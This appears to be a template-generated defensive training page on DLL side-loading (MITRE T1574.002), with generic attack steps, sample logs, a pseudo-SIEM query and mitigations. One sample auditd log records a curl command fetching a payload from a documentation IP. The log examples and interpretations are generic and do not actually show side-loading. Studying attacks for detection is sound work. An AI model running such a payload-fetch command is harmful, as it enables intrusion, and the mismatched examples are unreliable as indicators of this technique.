Malware & Endpoint

DLL Side-Loading

A trusted executable loads an attacker-controlled library.

IntermediateWindows
PRIMARY MAPPINGT1574.002

Execution / Persistence / Impact

01
CONCEPT

What is it?

DLL Side-Loading is an attack pattern in which a trusted executable loads an attacker-controlled library. The learning goal is to identify the trust boundary being abused, the attacker’s sequence, and the telemetry that records it.

02
MENTAL MODEL

How it works in plain English

Use this three-part model to understand the attack without memorizing a tool name.

01 / TRUST BEING ABUSED

The operating system or user allows a process, binary, script, service, library, or persistence mechanism to run.

02 / ATTACKER ACTION

The attacker executes code and changes process, file, registry, service, memory, or security state.

03 / DEFENDER VIEW

Reconstruct the process tree and timeline: parent, child, command line, user, integrity, file origin, network destination, and resulting state change.

Worked example: how the sequence may look

01 / Starting condition

Access to or influence over the relevant Windows environment.

02 / Attacker action

Trigger the condition that enables dll side-loading.

03 / Observable evidence

Process creation, image loads, file writes, registry changes, services, tasks, and persistence records.

04 / Detection decision

Baseline the affected identity, host, application, service, or protocol.

05 / Possible outcome

If successful, the attacker may continue with LSASS Credential Dumping. This is a possibility, not a guaranteed next step.

This is a defensive learning scenario. Real incidents vary, and the listed outcome is only one possible path.

03
ATTACKER OBJECTIVE

Why do attackers use it?

  • Advance an objective associated with execution / persistence / impact.

  • Exploit a weak control, unsafe default, exposed service, trusted relationship, or human decision.

  • Create access, gain privilege, evade defenses, steal information, or disrupt operations.

04
REQUIRED CONDITIONS

Prerequisites

  • Access to or influence over the relevant Windows environment.

  • Knowledge of the target’s technology, identities, configuration, or user behavior.

  • A weakness, misconfiguration, exposed interface, stolen secret, or social opportunity.

  • A path to observe success and continue toward the objective.

05
ATTACK CHAIN

Attack path possibilities

Attack chains are not fixed. These links show common possibilities to investigate before and after this behavior.

06
SEQUENCE

Step-by-step attack flow

01

Reconnoiter the target and identify the exposed trust boundary.

02

Prepare the infrastructure, lure, input, credential, or payload required.

03

Trigger the condition that enables dll side-loading.

04

Confirm access or effect while attempting to avoid controls.

05

Use the result for follow-on access, execution, collection, movement, persistence, or impact.

06

Remove evidence, rotate infrastructure, or repeat against other targets.

07
FRAMEWORK

MITRE ATT&CK mapping

TECHNIQUET1574.002
NAMEDLL Side-Loading
TACTICExecution / Persistence / Impact
VERIFY ON MITRE ↗

ATT&CK is updated over time. Verify the live technique before operationalizing a detection.

08
EVIDENCE

Logs and artifacts

  • Process creation, image loads, file writes, registry changes, services, tasks, and persistence records.

  • EDR detections, memory indicators, command lines, module loads, and outbound connections.

  • Security-control changes, log deletion, recovery inhibition, and unusual data access.

09
RAW TELEMETRY

Realistic log examples

REPRESENTATIVE, SANITIZED EXAMPLES

These records use realistic field names and formats but synthetic organizations, users, addresses, and identifiers. A single event is not proof; correlate time, identity, source, target, and the resulting action.

LOG SOURCEWindows Security — Event 4688

Process creation; correlate parent, child, command line, account, and logon ID.

2026-07-16T14:28:04Z EventID=4688 Computer=APP01.corp.example
SubjectUserName=svc-web SubjectLogonId=0x4A81C
NewProcessName=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentProcessName=C:\Windows\System32\inetsrv\w3wp.exe
CommandLine="powershell.exe -NoProfile -NonInteractive <redacted>"
TokenElevationType=%%1937 MandatoryLabel=S-1-16-8192
HOW TO INTERPRET IT FOR DLL SIDE-LOADING

Baseline the affected identity, host, application, service, or protocol.

LOG SOURCELinux auditd — EXECVE/SYSCALL

Executed program and syscall result; join records by the audit message ID.

type=SYSCALL msg=audit(1784212084.412:8841): arch=c000003e syscall=59
success=yes exit=0 pid=24891 ppid=24872 auid=1001 uid=33 exe="/usr/bin/curl"
type=EXECVE msg=audit(1784212084.412:8841): argc=3 a0="curl"
a1="-fsSL" a2="http://198.51.100.24/payload"
HOW TO INTERPRET IT FOR DLL SIDE-LOADING

Detect rare combinations of source, target, action, timing, volume, and result.

LOG SOURCEZeek conn.log / dns.log

Protocol-level network metadata suitable for volume, beaconing, scanning, and tunneling analysis.

# conn.log
ts=1784211621.944 uid=Cq91mV3j id.orig_h=10.24.18.77 id.orig_p=51542
id.resp_h=198.51.100.24 id.resp_p=443 proto=tcp service=ssl
duration=0.182 orig_bytes=517 resp_bytes=421 conn_state=SF
# dns.log
query=aj3k2f9d.data-sync.example qtype_name=TXT rcode_name=NOERROR
HOW TO INTERPRET IT FOR DLL SIDE-LOADING

Correlate identity, endpoint, network, application, and control-plane evidence across the sequence.

READ EACH LOG WITH FIVE QUESTIONS
  1. Who or what identity acted?
  2. From which device, process, IP, or workload?
  3. What target and operation were involved?
  4. Did it fail, succeed, or change state?
  5. What correlated event happened immediately before and after?
10
ANALYTICS

Detection logic / SIEM queries

  • Baseline the affected identity, host, application, service, or protocol.

  • Detect rare combinations of source, target, action, timing, volume, and result.

  • Correlate identity, endpoint, network, application, and control-plane evidence across the sequence.

  • Prioritize activity followed by successful access, privilege change, execution, or data movement.

Pseudo-SIEMBehavioral detection template
FROM security_events
WHERE event_time > now() - 30m
  AND behavior = "DLL Side-Loading"
GROUP BY source, target, user
HAVING count(*) > baseline(source, target, user)
   OR rare(action, source, target) = true
CORRELATE WITH success, privilege_change, execution, data_access
11
HARDENING

Mitigations

  • Reduce exposed attack surface and remove unused services, identities, features, and trust relationships.

  • Apply least privilege, strong authentication, secure defaults, segmentation, and timely patching.

  • Validate untrusted input and independently authorize sensitive operations.

  • Centralize and protect relevant logs; test detections with controlled simulations.

  • Maintain a response playbook for containment, credential rotation, evidence preservation, and recovery.

12
IN THE WILD

Real-world examples

  • DLL Side-Loading appears in opportunistic campaigns and targeted intrusions when the required condition exists.

  • Real incidents usually combine it with credential theft, phishing, exploitation, persistence, or exfiltration.

  • The best case studies describe the full attack chain rather than an isolated tool or indicator.

13
REVIEW

Common questions

01What makes DLL Side-Loading possible?

A trust assumption fails: an identity, input, component, network message, user decision, or software relationship is accepted without enough verification.

02What should a defender collect first?

Start with logs closest to the decision point, then add identity, endpoint, network, and control-plane context.

03How should I study this attack?

Learn the concept, identify prerequisites, map observable steps, write a detection hypothesis, and validate it safely in a lab.

Primary verification sources